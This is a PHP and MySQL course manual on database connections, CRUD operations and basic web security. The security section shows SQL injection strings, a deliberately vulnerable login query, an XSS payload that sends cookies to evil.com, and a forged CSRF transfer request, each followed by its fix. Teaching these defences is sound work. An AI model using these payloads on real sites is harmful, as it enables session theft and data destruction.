Which to choose. Use **MySQLi** if you are working exclusively with MySQL and prefer procedural programming or need a MySQL-specific feature. Use **PDO** if you need database abstraction, or prefer an object-oriented approach with modern error handling.

> **For new projects, choose PDO.** Named placeholders make queries far more readable, exception-based error handling is easier to get right, and if the project ever moves to a different database you change one line rather than every query. This manual shows both, because you will meet both in existing code.

Practical activity 2.1.2 — Connecting PHP and a database

Create PHP scripts to connect to the localhost server and a database called `my_firstdb`, then display the message “Database is selected successfully”.

Key reading 2.1.2 — Connecting PHP and a database

Connecting MySQL to PHP is a fundamental process for building dynamic web applications.

Creating a MySQL database on localhost

Before building the connection you need to know what **phpMyAdmin** is. It is a control panel from which you manage the databases you create. Open your browser and go to `localhost/phpmyadmin`, or click **Admin** next to MySQL in the XAMPP Control Panel. Do this after starting MySQL and Apache.

Step 1 — Create the database. Click **New** in the left sidebar. Enter a name for your database; for this manual we use `my_firstdb`. Select `utf8mb4_general_ci` as the collation, which handles all the characters and queries covered here. Click **Create**.

> Choose `utf8mb4` rather than `utf8`. MySQL's `utf8` is not true UTF-8 — it cannot store emoji or certain characters. `utf8mb4` can, and there is no reason to use anything else.

Step 2 — Create a table. Click into your new database, then use the SQL tab:

```
CREATE TABLE users (
    id         INT AUTO_INCREMENT PRIMARY KEY,
    name       VARCHAR(100) NOT NULL,
    email      VARCHAR(150) NOT NULL UNIQUE,
    password   VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```

Note `VARCHAR(255)` for the password column: a hash produced by `password_hash()` is 60 characters today but the algorithm may change, and 255 leaves room.

Step 3 — Create a folder in htdocs. Navigate to the XAMPP installation folder, usually `C:\xampp`, and open the `htdocs` subfolder. Inside it create a folder named `practice`, where the web files will live. Files must be inside `htdocs` because XAMPP only executes what it finds there.

If you are using WAMP instead, create the folder inside `C:\wamp64\www`.

Step 4 — Create the database connection file. Create a file named `db_connection.php`. A separate file is used because it lets you reuse the same connection code in many places: any file needing the database simply includes this one, instead of repeating the connection code.

Example 1 — MySQLi procedural

```php
<?php
// db_connection.php  (MySQLi procedural)

$dbhost = "localhost";
$dbuser = "root";
$dbpass = "";              // XAMPP's default MySQL password is empty
$dbname = "my_firstdb";

// Create the connection
$conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);

// Check the connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

echo "Database is selected successfully";
```

Example 2 — MySQLi object-oriented

```php
<?php
// db_connection.php  (MySQLi object-oriented)

$dbhost = "localhost";
$dbuser = "root";
$dbpass = "";
$dbname = "my_firstdb";

$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$conn->set_charset("utf8mb4");
echo "Database is selected successfully";
```

Example 3 — PDO (recommended)

```php
<?php
// db_connection.php  (PDO)

$dbhost = "localhost";
$dbname = "my_firstdb";
$dbuser = "root";
$dbpass = "";

$dsn = "mysql:host=$dbhost;dbname=$dbname;charset=utf8mb4";

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,  // throw exceptions on error
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,        // fetch as associative arrays
    PDO::ATTR_EMULATE_PREPARES   => false,                   // use real prepared statements
];

try {
    $pdo = new PDO($dsn, $dbuser, $dbpass, $options);
    echo "Database is selected successfully";
} catch (PDOException $e) {
    // In development, show the message. In production, log it and show a generic page.
    die("Connection failed: " . $e->getMessage());
}
```

The variables explained

Variable	Purpose
`$dbhost`	The host on which the **database server** is running. Usually `localhost`
`$dbuser`	The username for accessing the database. In XAMPP this is `root` by default
`$dbpass`	The database password. In XAMPP this is empty by default
`$dbname`	The name of the database you want to connect to

> The original manual describes `$dbhost` as “the host where your **RAID** server is running”. That is a typing error for “database server”. A RAID array is a disk configuration and has nothing to do with a connection string.
>
> Also note: `root` **with no password is fine on your own machine and catastrophic on a real server.** On a production server, create a dedicated user with a strong password and only the privileges the application actually needs.

Step 5 — Check the connection. Create a file named `index.php` and include the connection file:

```
<?php
require_once 'db_connection.php';
?>
<!DOCTYPE html>
<html>
<body>
    <h2>Connection test</h2>
    <p>If you can read the success message above, the connection works.</p>
</body>
</html>
```

Then open `http://localhost/practice/index.php`.

> Use `require_once` rather than `include` for a connection file. `require` stops the script if the file is missing, which is what you want — a page that continues without a database connection will only produce a confusing cascade of later errors. `_once` prevents the file being loaded twice.

A better structure for real projects. Return the connection object rather than echoing a message from inside the connection file:

```
<?php
// config.php — keep the credentials in one place
return [
    'host' => 'localhost',
    'name' => 'my_firstdb',
    'user' => 'root',
    'pass' => ''
];
```

```
<?php
// db.php
$config = require 'config.php';

$dsn = "mysql:host={$config['host']};dbname={$config['name']};charset=utf8mb4";

try {
    $pdo = new PDO($dsn, $config['user'], $config['pass'], [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ]);
} catch (PDOException $e) {
    error_log($e->getMessage());
    die("A database error occurred. Please try again later.");
}
```

Now any page begins with `require_once 'db.php';` and has `$pdo` available.

Points to remember — Indicative content 2.1

Key terms

- **Database drives** concern where a database is physically stored; **database drivers** concern how software communicates with it.
- **MySQLi** is an improved version of the older `mysql` extension, offering a more robust set of tools for database operations.
- **PDO** is often preferred for its object-oriented approach and its support for prepared statements, which prevent SQL injection, and because it provides a consistent API across different database systems — unlike MySQLi, which works only with MySQL.

Connecting PHP and a database

- The steps are: create the database, create the connection file, and test the connection.
- The connection file should be included at the top of every other file needing the database, using `require_once`.
- Set the error mode to exceptions and the charset to `utf8mb4` whichever driver you use.
- Never leave `root` with an empty password on a server that is reachable from the internet.

Application of learning 2.1

TechSolutions Inc. is a mid-sized technology company specialising in custom web applications. They are developing a web-based project management tool to help businesses streamline their workflows. Their front-end team is building the interface with HTML, CSS and JavaScript; they use PHP as the server-side language and MySQL as their database.

The backend design includes tables for users, projects, tasks and comments. You are hired as their PHP and database integration developer, and asked to write the scripts that establish the connection between PHP and their database, for smooth integration of the front end with the data.

2.2 Perform database CRUD operations

Duration: 10 hours

Theoretical activity 2.2.1 — Description of CRUD operations

Answer these before reading on:

1. What do you understand by CRUD operations in the context of web development?
2. Define SQL and query.
3. Outline the different functions used to perform CRUD operations.

Key reading 2.2.1 — Description of CRUD operations

1. CRUD operations

CRUD operations are fundamental to database management and web development. They are the four basic functions a database or application needs in order to manage data.

Operation	What it does	Example	SQL
Create	Insert new records into a database	Adding a new user to a users table	`INSERT`
Read	Retrieve or query existing records	Fetching user details for a profile page	`SELECT`
Update	Modify existing records	Changing a user's email address or password	`UPDATE`
Delete	Remove records	Deleting a user account	`DELETE`

These operations are used together to manage data within an application. In a web application they are typically implemented through forms and backend logic. A registration form handles **Create**; a profile page performs **Read**; an account settings page performs **Update**; an account deletion request performs **Delete**.

2. What a query is

In the context of databases, a **query** is a request for information or data retrieval from a database. It is written in a query language, most commonly SQL. Queries perform operations on the stored data — retrieving, inserting, updating or deleting records.

3. What SQL is

SQL (Structured Query Language) is a standard programming language designed for managing and manipulating relational databases. It provides the means to interact with a database in order to query, update, insert and delete data, and to define and manage database schemas.

4. The most used MySQLi functions

Object-oriented style	Procedural style
`$mysqli = new mysqli(host, username, password, dbname)`	`mysqli_connect(host, username, password, dbname)`
`$mysqli->query(query)`	`mysqli_query(connection, query)`
`$mysqli->select_db(name)`	`mysqli_select_db(connection, name)`
`$result->fetch_array(resulttype)`	`mysqli_fetch_array(result, resulttype)`
`$result->fetch_row()`	`mysqli_fetch_row(result)`
`$result->fetch_assoc()`	`mysqli_fetch_assoc(result)`
`$result->fetch_all(resulttype)`	`mysqli_fetch_all(result, resulttype)`
`$mysqli->errno`	`mysqli_errno(connection)`
`$mysqli->connect_error`	`mysqli_connect_error()`
`$mysqli->close()`	`mysqli_close(connection)`
`$mysqli->prepare(query)`	`mysqli_prepare(connection, query)`
`$mysqli->insert_id`	`mysqli_insert_id(connection)`
`$result->num_rows`	`mysqli_num_rows(result)`

> PHP function names are case-insensitive, so the manual's `MySQLi_connect()` runs. But the conventional and correct spelling is entirely lowercase, **`mysqli_connect()`**, and constants such as `MYSQLI_ASSOC` **are** case-sensitive. Write them as shown here.

5. A complete CRUD example, MySQLi procedural

Assume a database with a `users` table:

```
CREATE TABLE users (
    id    INT AUTO_INCREMENT PRIMARY KEY,
    name  VARCHAR(100) NOT NULL,
    email VARCHAR(150) NOT NULL UNIQUE,
    age   INT
);
```

Create — `insert.php`

```php
<?php
require_once 'db_connection.php';   // provides $conn

$name  = "Uwase Claire";
$email = "claire@example.com";
$age   = 24;

// Prepared statement — the correct way. See Indicative Content 2.3 for why.
$stmt = mysqli_prepare($conn, "INSERT INTO users (name, email, age) VALUES (?, ?, ?)");
mysqli_stmt_bind_param($stmt, "ssi", $name, $email, $age);

if (mysqli_stmt_execute($stmt)) {
    echo "New record created successfully. ID: " . mysqli_insert_id($conn);
} else {
    echo "Error: " . mysqli_error($conn);
}

mysqli_stmt_close($stmt);
mysqli_close($conn);
```

The `"ssi"` in `bind_param` describes the types of the three values: **s**tring, **s**tring, **i**nteger. The letters are `s` for string, `i` for integer, `d` for double and `b` for blob, and there must be exactly one letter per `?`.

Read — `read.php`

```php
<?php
require_once 'db_connection.php';

$result = mysqli_query($conn, "SELECT id, name, email, age FROM users ORDER BY name");

if (mysqli_num_rows($result) > 0) {
    echo "<table border='1' cellpadding='8'>";
    echo "<tr><th>ID</th><th>Name</th><th>Email</th><th>Age</th></tr>";

    while ($row = mysqli_fetch_assoc($result)) {
        echo "<tr>";
        echo "<td>" . htmlspecialchars($row['id'])    . "</td>";
        echo "<td>" . htmlspecialchars($row['name'])  . "</td>";
        echo "<td>" . htmlspecialchars($row['email']) . "</td>";
        echo "<td>" . htmlspecialchars($row['age'])   . "</td>";
        echo "</tr>";
    }
    echo "</table>";
} else {
    echo "No records found.";
}

mysqli_close($conn);
```

Reading a single record, by ID:

```php
<?php
$id = (int) ($_GET['id'] ?? 0);

$stmt = mysqli_prepare($conn, "SELECT id, name, email, age FROM users WHERE id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$user   = mysqli_fetch_assoc($result);

if ($user) {
    echo "Name: " . htmlspecialchars($user['name']);
} else {
    echo "User not found.";
}
```

Update — `update.php`

```php
<?php
require_once 'db_connection.php';

$id       = 1;
$newEmail = "claire.uwase@example.com";
$newAge   = 25;

$stmt = mysqli_prepare($conn, "UPDATE users SET email = ?, age = ? WHERE id = ?");
mysqli_stmt_bind_param($stmt, "sii", $newEmail, $newAge, $id);

if (mysqli_stmt_execute($stmt)) {
    echo "Record updated. Rows affected: " . mysqli_stmt_affected_rows($stmt);
} else {
    echo "Error: " . mysqli_error($conn);
}

mysqli_stmt_close($stmt);
mysqli_close($conn);
```

Delete — `delete.php`

```php
<?php
require_once 'db_connection.php';

$id = (int) ($_GET['id'] ?? 0);

$stmt = mysqli_prepare($conn, "DELETE FROM users WHERE id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);

if (mysqli_stmt_execute($stmt)) {
    echo "Record deleted successfully.";
} else {
    echo "Error: " . mysqli_error($conn);
}

mysqli_stmt_close($stmt);
mysqli_close($conn);
```

> **Never write `DELETE FROM users` without a `WHERE` clause.** It deletes every row in the table, instantly and without confirmation. The same applies to `UPDATE`. Before running either against real data, run the equivalent `SELECT` first and check that it returns exactly the rows you mean to change.

6. The same CRUD operations with PDO

```
<?php
require_once 'db.php';    // provides $pdo

// ---------- CREATE ----------
$stmt = $pdo->prepare("INSERT INTO users (name, email, age) VALUES (:name, :email, :age)");
$stmt->execute([
    ':name'  => "Habimana Eric",
    ':email' => "eric@example.com",
    ':age'   => 30
]);
echo "Inserted with ID " . $pdo->lastInsertId();

// ---------- READ: many rows ----------
$stmt  = $pdo->query("SELECT id, name, email, age FROM users ORDER BY name");
$users = $stmt->fetchAll();

foreach ($users as $user) {
    echo htmlspecialchars($user['name']) . " — " . htmlspecialchars($user['email']) .
"<br>";
}

// ---------- READ: one row ----------
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => 1]);
$user = $stmt->fetch();

if ($user) {
    echo htmlspecialchars($user['name']);
}

// ---------- UPDATE ----------
$stmt = $pdo->prepare("UPDATE users SET email = :email, age = :age WHERE id = :id");
$stmt->execute([
    ':email' => "eric.habimana@example.com",
    ':age'   => 31,
    ':id'    => 2
]);
echo "Rows affected: " . $stmt->rowCount();

// ---------- DELETE ----------
$stmt = $pdo->prepare("DELETE FROM users WHERE id = :id");
$stmt->execute([':id' => 3]);
```

Named placeholders such as `:email` are one of PDO's real advantages: with ten parameters, remembering the order of ten question marks is error-prone, whereas named placeholders document themselves.

Practical activity 2.2.2 — Performing CRUD operations

Create a web-based application in PHP that allows an administrator to register a user, display users' information, modify that information, and delete records.

Key reading 2.2.2 — Performing CRUD operations

1. Set up the development environment

- **Install a web server.** Apache or Nginx. For local development use a bundle such as XAMPP, WAMP or MAMP, which includes Apache, MySQL and PHP.
- **Install PHP** and make sure it is configured with the web server.
- **Install MySQL** or MariaDB.
- **Set up a database management tool** such as phpMyAdmin or MySQL Workbench.

2. Design the database

Define the schema: decide which tables you need and their structure, and define the relationships between them, such as foreign keys.

```
CREATE DATABASE crud_app CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
USE crud_app;

CREATE TABLE users (
    id         INT AUTO_INCREMENT PRIMARY KEY,
    name       VARCHAR(100) NOT NULL,
    email      VARCHAR(150) NOT NULL UNIQUE,
    phone      VARCHAR(20),
    course     VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```

3. The complete working application

`db.php` — the connection, used by every other file:

```
<?php
$dsn = "mysql:host=localhost;dbname=crud_app;charset=utf8mb4";
try {
    $pdo = new PDO($dsn, "root", "", [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ]);
} catch (PDOException $e) {
    die("Database connection failed.");
}
```

`index.php` — Read: list all the records:

```php
<?php
require_once 'db.php';
$users = $pdo->query("SELECT * FROM users ORDER BY created_at DESC")->fetchAll();
?>
<!DOCTYPE html>
<html>
<head>
    <title>User Management</title>
    <style>
        body  { font-family: sans-serif; margin: 40px; }
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #ccc; padding: 10px; text-align: left; }
        th    { background: #333; color: #fff; }
        .btn  { padding: 6px 12px; text-decoration: none; border-radius: 3px; }
        .add  { background: #2a7; color: #fff; }
        .edit { background: #37a; color: #fff; }
        .del  { background: #c33; color: #fff; }
    </style>
</head>
<body>

<h1>Registered users</h1>
<p><a href="create.php" class="btn add">Add new user</a></p>

<?php if (isset($_GET['msg'])): ?>
    <p style="color:green;"><?= htmlspecialchars($_GET['msg']) ?></p>
<?php endif; ?>

<table>
    <tr>
        <th>ID</th><th>Name</th><th>Email</th><th>Phone</th><th>Course</th><th>Actions</th>
    </tr>
    <?php if (empty($users)): ?>
        <tr><td colspan="6">No users registered yet.</td></tr>
    <?php endif; ?>
    <?php foreach ($users as $user): ?>
    <tr>
        <td><?= htmlspecialchars($user['id']) ?></td>
        <td><?= htmlspecialchars($user['name']) ?></td>
        <td><?= htmlspecialchars($user['email']) ?></td>
        <td><?= htmlspecialchars($user['phone']) ?></td>
        <td><?= htmlspecialchars($user['course']) ?></td>
        <td>
            <a href="update.php?id=<?= $user['id'] ?>" class="btn edit">Edit</a>
            <a href="delete.php?id=<?= $user['id'] ?>" class="btn del"
               onclick="return confirm('Delete this user?');">Delete</a>
        </td>
    </tr>
    <?php endforeach; ?>
</table>

</body>
</html>
```

`create.php` — Create: the form and its handler in one file:

```
<?php
require_once 'db.php';

$errors = [];
$name = $email = $phone = $course = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name   = trim($_POST['name']   ?? '');
    $email  = trim($_POST['email']  ?? '');
    $phone  = trim($_POST['phone']  ?? '');
    $course = trim($_POST['course'] ?? '');

    if ($name === '')                                   $errors[] = "Name is required.";
    if (!filter_var($email, FILTER_VALIDATE_EMAIL))    $errors[] = "A valid email is
required.";
    if ($phone !== '' && !preg_match('/^07[2389][0-9]{7}$/', $phone))
                                                        $errors[] = "Phone must look like
0788123456.";

    // Check the email is not already registered
    if (empty($errors)) {
        $check = $pdo->prepare("SELECT id FROM users WHERE email = ?");
        $check->execute([$email]);
        if ($check->fetch()) {
            $errors[] = "That email address is already registered.";
        }
    }

    if (empty($errors)) {
        $stmt = $pdo->prepare(
            "INSERT INTO users (name, email, phone, course) VALUES (?, ?, ?, ?)"
        );
        $stmt->execute([$name, $email, $phone, $course]);

        header("Location: index.php?msg=" . urlencode("User added successfully."));
        exit;
    }
}
?>
<!DOCTYPE html>
<html>
<head><title>Add user</title></head>
<body style="font-family:sans-serif; margin:40px;">

<h1>Add a new user</h1>

<?php foreach ($errors as $error): ?>
    <p style="color:#c33;"><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>

<form method="post">
    <p>Name:   <input type="text"  name="name"   value="<?= htmlspecialchars($name) ?>"
required></p>
    <p>Email:  <input type="email" name="email"  value="<?= htmlspecialchars($email) ?>"
required></p>
    <p>Phone:  <input type="text"  name="phone"  value="<?= htmlspecialchars($phone) ?>"></
p>
    <p>Course: <input type="text"  name="course" value="<?= htmlspecialchars($course) ?>"></
p>
```

```
    <p><button type="submit">Save</button> <a href="index.php">Cancel</a></p>
</form>

</body>
</html>
```

`update.php` — Update: load the record, show it in a form, save the changes:

```php
<?php
require_once 'db.php';

$id = (int) ($_GET['id'] ?? $_POST['id'] ?? 0);
if ($id <= 0) {
    header("Location: index.php");
    exit;
}

$errors = [];

// Handle the submitted form
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name   = trim($_POST['name']   ?? '');
    $email  = trim($_POST['email']  ?? '');
    $phone  = trim($_POST['phone']  ?? '');
    $course = trim($_POST['course'] ?? '');

    if ($name === '')                                $errors[] = "Name is required.";
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) $errors[] = "A valid email is
required.";

    if (empty($errors)) {
        $stmt = $pdo->prepare(
            "UPDATE users SET name = ?, email = ?, phone = ?, course = ? WHERE id = ?"
        );
        $stmt->execute([$name, $email, $phone, $course, $id]);

        header("Location: index.php?msg=" . urlencode("User updated successfully."));
        exit;
    }
}

// Load the existing record to fill the form
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

if (!$user) {
    die("User not found.");
}
?>
<!DOCTYPE html>
<html>
<head><title>Edit user</title></head>
<body style="font-family:sans-serif; margin:40px;">

<h1>Edit user</h1>

<?php foreach ($errors as $error): ?>
    <p style="color:#c33;"><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>

<form method="post">
    <input type="hidden" name="id" value="<?= (int) $user['id'] ?>">
    <p>Name:   <input type="text"  name="name"   value="<?= htmlspecialchars($user['name'])
?>" required></p>
    <p>Email:  <input type="email" name="email"  value="<?=
htmlspecialchars($user['email']) ?>" required></p>
```

```
    <p>Phone:  <input type="text"  name="phone"  value="<?=
htmlspecialchars($user['phone']) ?>"></p>
    <p>Course: <input type="text"  name="course" value="<?= htmlspecialchars($user['course']
) ?>"></p>
    <p><button type="submit">Update</button> <a href="index.php">Cancel</a></p>
</form>

</body>
</html>
```

`delete.php` — Delete:

```
<?php
require_once 'db.php';

$id = (int) ($_GET['id'] ?? 0);

if ($id > 0) {
    $stmt = $pdo->prepare("DELETE FROM users WHERE id = ?");
    $stmt->execute([$id]);
}

header("Location: index.php?msg=" . urlencode("User deleted."));
exit;
```

> Notice the pattern used after every write: **process the POST, then redirect, then exit.** This is called Post/Redirect/Get. Without the redirect, refreshing the page re-submits the form and inserts the record a second time. The `exit` after `header()` matters too — without it the rest of the script keeps running.

4. Test the application

Work through each operation: add a user; confirm they appear in the list; edit them and confirm the change persists; delete them and confirm they disappear. Then test the failure cases: submit an empty form, submit an email that is already registered, and try `update.php?id=9999` for a record that does not exist.

Points to remember — Indicative content 2.2

- **CRUD** stands for Create, Read, Update and Delete — the four basic operations for managing data, corresponding to the SQL statements `INSERT`, `SELECT`, `UPDATE` and `DELETE`.
- A **query** is a request for data, written in SQL. **SQL** is the standard language for managing relational databases.
- The most used MySQLi functions include `mysqli_connect()`, `mysqli_query()`, `mysqli_fetch_assoc()`, `mysqli_prepare()` and `mysqli_close()`, each with an object-oriented equivalent.
- Always use **prepared statements** for any query containing user input.
- `UPDATE` and `DELETE` without a `WHERE` clause affect **every row** in the table.
- Redirect after every successful write, to prevent duplicate submissions on refresh.

Application of learning 2.2

A school needs a system to register students, display their information, modify records and delete them. Build the complete CRUD application described above, with validation on every field.

2.3 Application of PHP basic security concepts

Duration: 8 hours

Theoretical activity 2.3.1 — Description of PHP basic security concepts

Answer these before reading on:

1. Define input validation, password security and session security.
2. Differentiate Cross-Site Scripting (XSS) prevention from Cross-Site Request Forgery (CSRF) prevention.

Key reading 2.3.1 — Description of PHP basic security concepts

1. Input validation

Input validation is the process of verifying that user inputs, or inputs from any other source, meet certain criteria before the application accepts them. This includes checking that the data is in the expected format, within acceptable ranges, and free of potentially harmful content.

Why input validation matters

Preventing injection attacks:

- **SQL injection.** Malicious users may inject SQL commands through input fields to manipulate the database. Proper handling ensures inputs cannot contain harmful SQL.
- **Command injection.** Inputs used in system commands can be exploited to run unauthorised commands.

Protecting against cross-site scripting:

- **XSS attacks.** Attackers can inject malicious scripts into pages viewed by other users. Validating and escaping inputs prevents harmful scripts from being included.

Avoiding data corruption and errors:

- **Data integrity.** Ensuring inputs are valid prevents corruption and keeps stored information accurate.

Enhancing application stability:

- **Error prevention.** Validating inputs helps prevent crashes and unexpected behaviour by rejecting malformed data.

SQL injection demonstrated. This is the single most important thing in this section, so it is worth seeing the attack in full.

```
<?php
// DANGEROUS — never write code like this
$email    = $_POST['email'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $sql);
```

If an attacker enters this as the email:

```
' OR '1'='1
```

the query becomes:

```
SELECT * FROM users WHERE email = '' OR '1'='1' AND password = ''
```

Because `'1'='1'` is always true, the query returns every user in the table and the attacker is logged in as the first one — usually the administrator. A slightly different input, `'; DROP TABLE users; --`, deletes the table entirely.

The fix — prepared statements. A prepared statement sends the SQL structure and the data **separately**, so the database never treats user input as commands:

```
<?php
// SAFE
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_POST['email']]);
$user = $stmt->fetch();

if ($user && password_verify($_POST['password'], $user['password'])) {
    // logged in
}
```

No matter what the attacker types, it is treated as a value and never as SQL. **Escaping functions such as `mysqli_real_escape_string()` are not a substitute** — they help but can be defeated in certain character sets and configurations. Use prepared statements.

2. Password security

Password security covers the practices and measures used to protect passwords from unauthorised access and misuse. It is crucial for safeguarding sensitive information and the overall security of systems.

Why password security matters. Passwords protect devices and accounts, keeping information private. They need to be easy for the owner to remember but hard for others to guess or break. If someone discovers a password they can reach sensitive information, including financial data.

Choosing strong passwords. Consider these guidelines:

- A password should be a **minimum of 12 characters**, and may be longer.
- Combine at least **three random words** to make a password that is strong but memorable.
- Make it complex by including upper- and lower-case letters, numbers and special characters between the words. Special characters include `# $ % & ' ( ) * + - / : ; < = > ? @ [ \ ] ^ _ { | }` `
- Avoid words or numbers that can be guessed or connected to you — birthdays, pets' names, favourite sports teams.
- Make it significantly different from any previous password.
- Always use a **different password for every account**, including administrative accounts.
- Keep it private. Avoid sharing it and do not write it down.
- Change it immediately if you suspect it has been compromised.

Storing passwords in PHP. The rule is absolute: **never store a password in a form you can read.** Not in plain text, and not with `md5()` or `sha1()`, both of which are far too fast and have been broken for password use for over a decade. PHP provides two functions that do the job correctly.

```
<?php
// --- When registering a user ---
$password = $_POST['password'];
$hash = password_hash($password, PASSWORD_DEFAULT);

// $hash looks like:
// $2y$10$N9qo8uLOickgx2ZMRZoMye1J/rGZfLQ2K3.LrJ8mVv3Kb1p8Xz3Bm
// It is 60 characters, includes a random salt, and is different every time —
// hashing the same password twice gives two different strings.

$stmt = $pdo->prepare("INSERT INTO users (email, password) VALUES (?, ?)");
$stmt->execute([$email, $hash]);


// --- When logging a user in ---
$stmt = $pdo->prepare("SELECT id, password FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();

if ($user && password_verify($_POST['password'], $user['password'])) {
    // Correct password
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
} else {
    // Wrong email OR wrong password — say only "Invalid credentials",
    // never "no such user", which tells an attacker which emails exist.
    $error = "Invalid credentials.";
}
```

`password_hash()` handles the salt for you, and `PASSWORD_DEFAULT` means PHP will automatically use the best available algorithm as standards improve.

3. Session security

Sessions identify a logged-in user across pages, so an attacker who steals a session ID becomes that user. Three measures protect against this.

Session hijacking — an attacker obtains a valid session ID and uses it. Defend with `httponly` cookies, which JavaScript cannot read, and by using HTTPS so the ID is not visible on the network.

Session fixation — an attacker sets a session ID before the victim logs in, then reuses it afterwards. Defend by calling `session_regenerate_id(true)` immediately after a successful login.

Session expiry — a session left open on a shared computer can be used by the next person. Defend with a timeout.

```
<?php
// Configure the session cookie BEFORE session_start()
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'httponly' => true,       // JavaScript cannot read it
    'secure'   => true,       // only sent over HTTPS (remove while testing on http)
    'samesite' => 'Strict'    // not sent with cross-site requests
]);
session_start();

// After a successful login — defeats session fixation
session_regenerate_id(true);
$_SESSION['user_id']    = $user['id'];
$_SESSION['last_active'] = time();

// On every protected page — expire after 30 minutes of inactivity
if (isset($_SESSION['last_active']) && (time() - $_SESSION['last_active'] > 1800)) {
    session_unset();
    session_destroy();
    header("Location: login.php?msg=expired");
    exit;
}
$_SESSION['last_active'] = time();
```

4. Cross-Site Scripting (XSS) prevention

XSS occurs when an attacker manages to get their JavaScript to run in another user's browser, in the context of your site. They can then steal cookies, capture keystrokes, or alter the page.

The attack is simple. A user submits this as their name:

```
<script>fetch('http://evil.com/steal?c=' + document.cookie)</script>
```

If your page later prints that name without escaping, the script runs in the browser of every visitor who sees it — and sends them their own session cookie.

The prevention is to escape on output. Whenever you print anything that came from a user or a database, pass it through `htmlspecialchars()`:

```
<?php
// Vulnerable
echo "Welcome, " . $_GET['name'];

// Safe
echo "Welcome, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

// The shorthand you will use constantly in templates
?>
<p>Welcome, <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?></p>
```

`htmlspecialchars()` converts `<` into `<`, `>` into `>`, `"` into `"` and `&` into `&`, so the browser displays the characters instead of interpreting them as HTML.

A helper function saves typing:

```
<?php
function e($value) {
    return htmlspecialchars($value ?? '', ENT_QUOTES, 'UTF-8');
}

// Then:  <p>Welcome, <?= e($name) ?></p>
```

> **Validate on input, escape on output.** These are two different jobs. Validation decides whether to accept the data at all. Escaping makes the data safe for the context you are putting it into — HTML, a URL, a SQL query, or JavaScript. Each context needs its own escaping.

5. Cross-Site Request Forgery (CSRF) prevention

CSRF is an attack in which unauthorised commands are transmitted from a user that the application trusts. The attacker tricks a logged-in user's browser into making a request the user did not intend.

For example, an attacker puts this on their own site:

```
<img src="https://yourbank.rw/transfer.php?to=attacker&amount=500000">
```

If you are logged into that bank in another tab, your browser sends the request **with your session cookie attached**, and the transfer happens. You never clicked anything.

The prevention is a CSRF token — a random value that the attacker cannot know, included in every form and checked on submission.

```php
<?php
// --- Generate the token, once per session ---
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>

<!-- Include it as a hidden field in EVERY form that changes something -->
<form method="post" action="transfer.php">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <input type="text" name="amount">
    <button type="submit">Transfer</button>
</form>
```

```php
<?php
// --- Check it in the handler, before doing anything ---
session_start();

if (!isset($_POST['csrf_token']) ||
    !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    die("Invalid request. Please try again from the form.");
}

// Only now proceed with the operation
```

Use `hash_equals()` rather than `===` for comparing tokens: it takes the same amount of time regardless of where the strings differ, which prevents an attacker from deducing the token character by character.

XSS compared with CSRF

	XSS	CSRF
What the attacker does	Injects and runs script in the victim's browser	Makes the victim's browser send a request they did not intend
What it exploits	Your site trusting user *input*	Your site trusting the user's *browser*
Direction	Attacker's code runs on your page	Attacker's page triggers a request to your site
The defence	Escape all output with `htmlspecialchars()`	A CSRF token in every state-changing form
Also helps	Content Security Policy headers	`SameSite=Strict` cookies

Practical activity 2.3.2 — Implementing PHP security concepts

Key reading 2.3.2 — Implementing PHP security concepts

A checklist to apply to every project in this module:

#	Measure	How
1	Prevent SQL injection	Prepared statements for every query containing user input
2	Prevent XSS	`htmlspecialchars()` on every piece of output
3	Prevent CSRF	A token in every state-changing form, checked with `hash_equals()`
4	Store passwords safely	`password_hash()` and `password_verify()`
5	Secure sessions	`httponly`, `secure`, `SameSite`, `session_regenerate_id()` on login, and a timeout
6	Validate all input	Server-side, with `filter_var()` and your own rules
7	Hide error details in production	`display_errors = Off`, `log_errors = On`
8	Restrict file uploads	Check the extension against a list you allow, rename the file, store outside the web root
9	Use HTTPS	Everywhere, not just on the login page
10	Keep credentials out of the code	In a config file excluded from version control

Points to remember — Indicative content 2.3

